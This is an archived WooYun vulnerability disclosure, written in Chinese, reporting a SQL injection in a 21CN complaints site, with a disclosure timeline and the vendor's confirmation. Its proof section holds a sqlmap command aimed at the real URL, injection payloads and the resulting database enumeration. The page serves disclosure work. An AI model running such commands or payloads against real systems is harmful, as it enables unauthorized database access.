当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091372

漏洞标题:21CN某站点SQL注射

相关厂商:世纪龙信息网络有限责任公司

漏洞作者: 今天明天

提交时间:2015-01-12 15:12

修复时间:2015-02-26 15:12

公开时间:2015-02-26 15:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-12: 细节已通知厂商并且等待厂商处理中
2015-01-12: 厂商已经确认,细节仅向厂商公开
2015-01-22: 细节向核心白帽子及相关领域专家公开
2015-02-01: 细节向普通白帽子公开
2015-02-11: 细节向实习白帽子公开
2015-02-26: 细节向公众公开

简要描述:

21CN某站点SQL注射

详细说明:

http://ts.21cn.com/tousu/cat/id/index.php?m=Home&a=topreply&id=13818%23
id 存在 mysql 注射

漏洞证明:

root@bt5:/pentest/database/sqlmap# python sqlmap.py -u "http://ts.21cn.com/tousu/cat/id/index.php?m=Home&a=topreply&id=13818" -p id --dbms=mysql --threads 5 --dbs
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 14:55:53
[14:55:53] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: m=Home&a=topreply&id=13818 AND 7450=7450
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: m=Home&a=topreply&id=13818 AND SLEEP(5)
---
[14:55:54] [INFO] testing MySQL
[14:55:55] [WARNING] reflective value(s) found and filtering out
[14:55:55] [INFO] confirming MySQL
[14:55:55] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[14:55:55] [INFO] fetching database names
[14:55:55] [INFO] fetching number of databases
[14:55:55] [INFO] retrieved: 2
[14:55:58] [INFO] retrieving the length of query output
[14:55:58] [INFO] retrieved: 18
[14:56:13] [INFO] retrieved: information_schema
[14:56:13] [INFO] retrieving the length of query output
[14:56:13] [INFO] retrieved: 7
[14:56:22] [INFO] retrieved: jutousu
available databases [2]:
[*] information_schema
[*] jutousu
[14:56:22] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/ts.21cn.com'
[*] shutting down at 14:56:22

修复方案:

过滤

版权声明:转载请注明来源 今天明天@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-01-12 23:24

厂商回复:

确认,谢谢!

最新状态:

暂无


漏洞评价:

评论